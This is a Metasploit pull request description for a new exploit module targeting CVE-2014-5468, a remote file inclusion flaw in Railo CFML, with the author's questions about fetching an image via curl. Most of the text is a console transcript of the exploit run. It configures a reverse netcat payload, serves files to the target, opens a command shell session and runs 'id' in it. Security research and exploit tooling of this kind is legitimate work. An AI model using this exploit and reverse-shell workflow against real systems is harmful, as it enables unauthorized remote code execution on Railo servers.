rapid7/metasploit-framework — pull request #3721 by brandonprry (2014-08-28 13:47:19+00:00)
Title: Create railo_cfml_rfi.rb

This PR creates a new module that exploits dronesec's CVE-2014-5468 vulnerability detailed here: http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/

There are a few things in this module that are of concern however. For one, I need an image of a larger size in order to exploit this. I currently just call curl in order to get this image. It would be great if there was an image in the tree that I could simply read from the FS relatively from the module, as the curl I am doing is hella-hacky. Would love some feedback on how to do this properly.

Also need to add a check method, still. Wanted to get some initial critique.

Quick run:

```
msf exploit(railo_cfml_rfi) > show options

Module options (exploit/linux/http/railo_cfml_rfi):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 172.31.16.19 yes The target address
RPORT 8888 yes The target port
SRVHOST 172.31.16.19 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.31.16.19 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(railo_cfml_rfi) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 172.31.16.19:4444
[*] Using URL: http://172.31.16.19:8080/nhgmBsPfiqHUfwr.cfm
[*] Using URL: http://172.31.16.19:8080/CkvIPPhUbWfNeuP
msf exploit(railo_cfml_rfi) > % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 16013 100 16013 0 0 19409 0 --:--:-- --:--:-- --:--:-- 20192
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 16013 100 16013 0 0 32956 0 --:--:-- --:--:-- --:--:-- 32948
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 16013 100 16013 0 0 69944 0 --:--:-- --:--:-- --:--:-- 70232
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 16013 100 16013 0 0 32189 0 --:--:-- --:--:-- --:--:-- 32546
[*] Waiting for first stage to download...
[*] Command shell session 2 opened (172.31.16.19:4444 -> 172.31.16.19:60187) at 2014-08-28 06:40:59 -0700
[*] Server stopped.

msf exploit(railo_cfml_rfi) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
2 shell unix 172.31.16.19:4444 -> 172.31.16.19:60187 (172.31.16.19)

msf exploit(railo_cfml_rfi) > sessions -i 2
[*] Starting interaction with 2...

id
uid=1000(bperry) gid=1000(bperry) groups=1000(bperry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

```